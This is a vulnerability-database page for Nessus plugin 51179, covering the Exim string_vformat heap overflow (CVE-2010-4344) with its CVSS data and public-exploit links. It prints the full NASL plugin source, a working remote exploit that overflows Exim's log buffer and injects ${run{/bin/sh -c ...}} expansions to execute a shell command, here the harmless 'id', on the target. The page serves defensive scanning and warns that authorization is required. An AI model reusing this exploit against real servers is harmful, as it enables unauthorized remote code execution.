Exim string_format Function Remote Overflow - Nessus

High   Plugin ID: 51179

This page contains detailed information about the Exim string_format Function Remote Overflow Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 51179
Name: Exim string_format Function Remote Overflow
Filename: exim_string_vformat.nasl
Vulnerability Published: 2010-12-10
This Plugin Published: 2010-12-15
Last Modification Time: 2022-03-28
Plugin Version: 1.18
Plugin Type: remote
Plugin Family: SMTP problems
Dependencies: smtpserver_detect.nasl

Vulnerability Information


Severity: High
Vulnerability Published: 2010-12-10
Patch Published: 2008-12-08
CVE [?]: CVE-2010-4344
CPE [?]: cpe:/a:exim:exim

Synopsis

The remote service has a buffer overflow.

Description

A heap overflow vulnerability exists in the version of exim installed on the remote host.

By sending a specially crafted message to the server, a remote attacker can leverage this vulnerability to execute arbitrary code on the server with the privilege of the exim server. A separate vulnerability that Nessus didn't test for, CVE-2010-4345, is often used to elevate the exim user to root access.

Note that Nessus checked for this vulnerability by sending a specially crafted packet and checking the response, without crashing the service.

All 4.6x versions 4.69-9 and below are known to be affected, and others may be as well.

Solution

Upgrade to version 4.70 as it addresses the issue.

Public Exploits


Target Network Port(s): 25
Target Asset(s): Services/smtp
Exploit Available: True (Metasploit Framework, Exploit-DB, GitHub, Immunity Canvas, Core Impact)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Exim string_format Function Remote Overflow vulnerability:

  1. Metasploit: exploit/unix/smtp/exim4_string_format
    [Exim4 string_format Function Heap Buffer Overflow]
  2. Exploit-DB: exploits/linux/remote/16925.rb
    [EDB-16925: Exim4 < 4.69 - string_format Function Heap Buffer Overflow (Metasploit)]
  3. GitHub: https://github.com/byte-mug/cumes
    [CVE-2010-4344]
  4. Immunity Canvas: CANVAS

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS Score Source [?]: CVE-2010-4344
CVSS V2 Vector: AV:N/AC:M/Au:N/C:C/I:C/A:C/E:H/RL:OF/RC:C
CVSS Base Score:9.3 (High)
Impact Subscore:10.0
Exploitability Subscore:8.6
CVSS Temporal Score:8.1 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:8.1 (High)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:H/RL:O/RC:C
CVSS Base Score:8.8 (High)
Impact Subscore:5.9
Exploitability Subscore:2.8
CVSS Temporal Score:8.4 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:8.4 (High)

Go back to menu.

Plugin Source


This is the exim_string_vformat.nasl nessus plugin source code. This script is Copyright (C) 2010-2022 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(51179);
  script_version("1.18");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/03/28");

  script_cve_id("CVE-2010-4344");
  script_bugtraq_id(45308);
  script_xref(name:"CISA-KNOWN-EXPLOITED", value:"2022/04/15");

  script_name(english:"Exim string_format Function Remote Overflow");

  script_set_attribute(attribute:"synopsis", value:
"The remote service has a buffer overflow.");
  script_set_attribute(attribute:"description", value:
"A heap overflow vulnerability exists in the version of exim
installed on the remote host. 

By sending a specially crafted message to the server, a remote
attacker can leverage this vulnerability to execute arbitrary code on
the server with the privilege of the exim server. A separate vulnerability
that Nessus didn't test for, CVE-2010-4345, is often used to elevate the
exim user to root access. 

Note that Nessus checked for this vulnerability by sending a specially
crafted packet and checking the response, without crashing the
service. 

All 4.6x versions 4.69-9 and below are known to be affected, and others
may be as well.");
  script_set_attribute(attribute:"see_also", value:"https://bugs.exim.org/show_bug.cgi?id=787");
  script_set_attribute(attribute:"see_also", value:"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=606612");
  script_set_attribute(attribute:"see_also", value:"https://lists.exim.org/lurker/message/20101207.215955.bb32d4f2.en.html");
  script_set_attribute(attribute:"solution", value:
"Upgrade to version 4.70 as it addresses the issue.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:H/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2010-4344");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Exim4 string_format Function Heap Buffer Overflow');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:"CANVAS");

  script_set_attribute(attribute:"vuln_publication_date", value:"2010/12/10");
  script_set_attribute(attribute:"patch_publication_date", value:"2008/12/08");
  script_set_attribute(attribute:"plugin_publication_date", value:"2010/12/15");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:exim:exim");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"SMTP problems");

  script_copyright(english:"This script is Copyright (C) 2010-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("smtpserver_detect.nasl");
  script_require_ports("Services/smtp", 25);

  exit(0);
}

include("global_settings.inc");
include("misc_func.inc");
include("smtp_func.inc");
include("data_protection.inc");

# Get the SMTP port
port = get_service(svc:"smtp", default:25, exit_on_fail:TRUE);
if (!get_port_state(port)) exit(0, "Port "+port+" is not open.");


# Get the banner from the registry (so we can bail early if it isn't a vulnerable version)
banner = get_smtp_banner(port:port);
if (!banner) exit(1, "The mail server listening on port "+port+" didn't respond.");
if ("Exim" >!< banner) exit(1, "The mail server listening on port "+port+" does not appear to be Exim.");

# Make sure the version of exim is 4.6x - other versions aren't vulnerable
banner = eregmatch(pattern:"^220 .*(Exim [0-9]+\.[0-9]+)", string:banner);
if (!banner) exit(1, "The Exim install listening on port "+port+" returned an unexpected response to EHLO.");
if ('4.6' >!< banner[1]) exit(1, "The Exim install listening on port "+port+" doesn't look like a vulnerable version.");


# Set up some variables
from = smtp_from_header();

to = get_kb_item("SMTP/headers/To");
if (!to) to = 'root@localhost';

# The user@ portion of the from/to headers (required for length checking)
from_user = eregmatch(pattern:"^(.*)@(.*)$", string:from);
from_user = from_user[1];

to_user = eregmatch(pattern:"^(.*)@(.*)$", string:from);
to_user = to_user[1];

if (!from_user) exit(1, "'from' email address was in an invalid format: " + from);

if(!to_user) exit(1, "'to' email address was in an invalid format: " + from);

# Hostname and ip should be filled in after the EHLO
hostname = 'nessus';
ip = "xxx.xxx.x.xxx";

# Initialize the overflow size to 50mb (this should be filled in later)
max_size = 50 * 1024 * 1024;

# The command to run when we get access, and how to match it
command = 'id';
command_match = 'uid=';

# Open the socket
socket = open_sock_tcp(port);
if (!socket) exit(1, "Can't open socket on port "+port+".");

# Receive the first line
header = recv_line( socket:socket, length:1024);
if(!header) exit(1, "The Exim install listening on port "+port+" didn't respond.");

# Send the EHLO
request = 'EHLO ' + hostname + '\r\n';
send(socket:socket, data:request);

# Parse the options (we're interested in SIZE, which tells us how big we have to go to generate an error)
while(TRUE)
{
  # Get the next options line
  options = recv_line( socket:socket, length:1024);

  # Parse it to make sure it's not an error
  options = eregmatch(pattern:"^250([ -])(.*)", string:options);
  if(!options)
    exit(0, "Server on port "+port+" returned an unexpected result");

  # In the 'hello' response, parse out the hostname/ip address
  # 250-debian Hello domain.com [192.168.103.1]
  if("Hello" >< options[2])
  {
    options = eregmatch(pattern:"Hello ([^ ]+) \[([0-9.]+)\]", string:options[2]);
    if(!options)
      exit(1, "Server returned an unexected 'Hello' string");
    hostname = options[1];
    ip = options[2];
  }

  # Parse the 'size' - this tells us how much we need to overflow the buffer
  # 250-SIZE 52428800
  if("SIZE" >< options[2])
  {
    new_size = eregmatch(pattern:'SIZE ([0-9]*)', string:options[2]);
    if(new_size)
      max_size = int(new_size[1]);
  }

  # Check if we're at the end of the options array
  if(options[1] == ' ')
    break;
}

# Send the MAIL FROM and check for errors
request = 'MAIL FROM: ' + from + '\r\n';
send(socket:socket, data:request);
response = recv_line( socket:socket, length:1024);
if('250' >!< response)
  exit(1, "The Exim install listening on port "+port+" returned an unexpected result to MAIL FROM (" + response + ").");

# Send the RCPT TO (also using Metasploit's default)
request = 'RCPT TO: ' + to + '\r\n';
send(socket:socket, data:request);
response = recv_line( socket:socket, length:1024);
if('250' >!< response)
  exit(1, "The Exim install listening on port "+port+" returned an unexpected result to RCPT TO (" + response + ").");

# Send the DATA
request = 'DATA\r\n';
send(socket:socket, data:request);
response = recv_line( socket:socket, length:1024);
if('354' >!< response)
  exit(1, "The Exim install listening on port "+port+" returned an unexpected result to DATA (" + response + ").");

# Finally, we have to overflow the buffer exactly right, so there are 3 bytes left.  The
# exploit is in a sprintf()-style function called string_vformat(). If the length string
# passed to string_vformat() is exactly the same as the number of characters in the string,
# the overflow happens. That's normally difficult to accomplish, but Exim's logging for failed
# connection gives exactly that opportunity. 
#
# The buffer starts at 8192 bytes. Each line it prints shortens the buffer by that much. 
buffer_size = 8192;

# The date is prefixed to the log
buffer_size = buffer_size - strlen("2010-12-13 15:46:12 ");

# As is the message ID
buffer_size = buffer_size - strlen("1PSF66-0000nX-9z ");

# Different configurations use a different string here.. this is what the default on Slackware is:
#rejected from <root@localhost> U=root: message too big: read=56725188 max=52428800
#
# And on Debian (the one we're checking for):
#rejected from <root@localhost> H=(hostname) [192.168.103.1]: message too big: read=56725188 max=52428800
#
# Unfortunately, we can't check them all, so we're going to use Debian's default
buffer_size = buffer_size - strlen("rejected from <" + from + "> H=(" + hostname + ") [" + ip + "]: message too big: read=" + max_size + " max=" + max_size + "\n");

# string_format: 'Envelope-from: <%s>\n' => Envelope-from: <root@localhost>\n
buffer_size = buffer_size - strlen('Envelope-from: <' + from + '>\n');

# string_format: 'Envelope-to: <%s>\n' => Envelope-to: <postmaster@localhost>\n
buffer_size = buffer_size - strlen('Envelope-to: <' + to + '>\n');

# At this point, the buffer should be approximately 8000 bytes long. We need to use up all but three. 
# Build the buffer for 'data' that will use it all up
data_buffer = '';
chunk = crap(12) + ': ' + crap(100) + '\n';

# We want 3 bytes left in the buffer at the end, so substract them now (that way, we can work with 0 as a target)
buffer_size = buffer_size - 4;

# This loop is a little tricky, and was by far the hardest part (for me, at least). Basically, we have approximately
# 8000 bytes to use up. But we have to be exact to trigger the vulnerability. Each time we add a line to the array, 
# it uses up 2 extra bytes (string_vformat is called with "%c %s", and winds up with two spaces at the start - I'm 
# not sure what the '%c' means in thnis case).
#
# To make sure we don't wind up with under 3 bytes, we stop when there's between #chunk and
# #chunk * 2 bytes left and add the last two lines. That means that, at a minimum, both lines
# will be #chunk/2 bytes long. 
while(buffer_size >= strlen(chunk) * 2)
{
  to_add = '';

  data_buffer = data_buffer + chunk;
  buffer_size = buffer_size - strlen(chunk) - 2;
}

# The two pairs of extra bytes
buffer_size = buffer_size - 4;

# The new newlines
buffer_size = buffer_size - 2;

# The length of the two strings without newlines
s1 = buffer_size / 2;
s2 = buffer_size - s1;

# Finally, add them, which will create the string that exactly overflows the buffer
data_buffer = data_buffer + substr(chunk, 0, s1) + '\n'; 
data_buffer = data_buffer + substr(chunk, 0, s2) + '\n'; 

# Add the command that'll overflow the ACL
data_buffer = data_buffer + crap(7) + ": ";
for(i = 0; i < 100; i++)
  for(j = 3; j < 12; j++)
    data_buffer = data_buffer + "${run{/bin/sh -c '" + command + ">&" + j + "'}} ";
data_buffer = data_buffer + '\n';

# Send it all
send(socket:socket, data:data_buffer);

# Next, send a really really really long string. The purpose of this is the cause the mail server
# to return an error ("message too long"). We do this in a loop so we don't have to allocate 50mb
# of buffer space and annoy the memory manager. 
for(i = 0; i < 10; i++)
  send(socket:socket, data:crap(data:crap(255) + '\n', length: max_size/10));

# Terminate the email
send(socket:socket, data:'\n.\n');

# Receive the response, which should be:
# 552 Message size exceeds maximum permitted
response = recv_line( socket:socket, length:1024);
if("552 Message size exceeds maximum permitted" >!< response)
  exit(1, "The Exim install listening on port "+port+" didn't reject the oversized message.");

# Send another MAIL FROM. This will cause the boobytrapped ACL to be run, which in turn
# causes the command to be run. 
send(socket:socket, data:"MAIL FROM: " + from + '\n');

# If the overflow was successful, it'll return the command_match string multiple times. 
# If it was unsuccessful, it'll return '250 OK' (in other words, accept the email). 
while(TRUE)
{
  response = recv_line( socket:socket, length:1024);
  if (!response)
    exit(0, "The Exmin install listening on port "+port+" does not appear to be vulnerable.");
  if ("250 OK" >< response)
    exit(0, "The Exim install listening on port "+port+" is not vulnerable or has a non-standard log configuration.");
  if (command_match >< response)
  {
    if (report_verbosity > 0)
    {
      report = '\n' +
        'Nessus was able to exploit the vulnerability to execute the command\n' +
        '\'' + command + '\' on the remote host, which produced the following output :\n' +
        '\n' +
        crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n' +
        data_protection::sanitize_uid(output:chomp(response)) + '\n' +
        crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n';
      security_hole(port:port, extra:report);
    }
    else security_hole(port);
    exit(0);
  }
}

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/exim_string_vformat.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\exim_string_vformat.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/exim_string_vformat.nasl

Go back to menu.

How to Run


Here is how to run the Exim string_format Function Remote Overflow as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select SMTP problems plugin family.
  6. On the right side table select Exim string_format Function Remote Overflow plugin ID 51179.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl exim_string_vformat.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a exim_string_vformat.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - exim_string_vformat.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state exim_string_vformat.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 51780 - CentOS 4 : exim (CESA-2010:0970)
  • 51128 - Debian DSA-2131-1 : exim4 - arbitrary code execution
  • 72159 - GLSA-201401-32 : Exim: Multiple vulnerabilities
  • 68160 - Oracle Linux 4 / 5 : exim (ELSA-2010-0970)
  • 51133 - RHEL 4 / 5 : exim (RHSA-2010:0970)
  • 60919 - Scientific Linux Security Update : exim on SL4.x, SL5.x i386/x86_64
  • 53657 - openSUSE Security Update : exim (openSUSE-SU-2010:1052-1)
  • 53715 - openSUSE Security Update : exim (openSUSE-SU-2010:1052-1)
  • 75481 - openSUSE Security Update : exim (openSUSE-SU-2010:1052-1)
  • 51136 - Ubuntu 6.06 LTS / 8.04 LTS / 9.10 : exim4 vulnerability (USN-1032-1)
  • 107149 - Exim < 4.90.1 Buffer Overflow RCE Vulnerability
  • 128553 - Exim < 4.92.2
  • 129470 - Exim 4.92.x < 4.92.3 Heap Buffer Overflow
  • 125737 - Exim 4.87 < 4.92 Remote Command Execution
  • 149260 - Exim < 4.94.2 Multiple Vulnerabilities (21Nails)
  • 104815 - Exim < 4.89.1 Use-After-Free BDAT Remote Code Execution
  • 127100 - Exim deliver_message() Function Remote Command Execution Vulnerability (Remote)
  • 66373 - Exim with Dovecot use_shell Command Injection
  • 30123 - Citadel SMTP makeuserkey Function RCPT TO Command Remote Overflow
  • 11889 - Exchange XEXCH50 Remote Buffer Overflow
  • 22314 - Ipswitch IMail Server SMTP Service Crafted RCPT String Remote Overflow
  • 53534 - IBM Lotus Domino iCalendar Email Address ORGANIZER:mailto Header Remote Overflow
  • 12065 - ASN.1 Multiple Integer Overflows (SMTP check)
  • 15902 - MailCarrier < 3.0.1 SMTP EHLO Command Remote Overflow
  • 25928 - Mercury SMTP Server AUTH CRAM-MD5 Remote Buffer Overflow
  • 11499 - Sendmail < 8.12.9 NOCHAR Control Value prescan Overflow
  • 11316 - Sendmail headers.c crackaddr Function Address Field Handling Remote Overflow
  • 11838 - Sendmail < 8.12.10 prescan() Function Remote Overflow
  • 11593 - SLMail < 5.1.0.4433 Multiple Command Remote Overflows

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file exim_string_vformat.nasl version 1.18. For more plugins, visit the Nessus Plugin Library.

Go back to menu.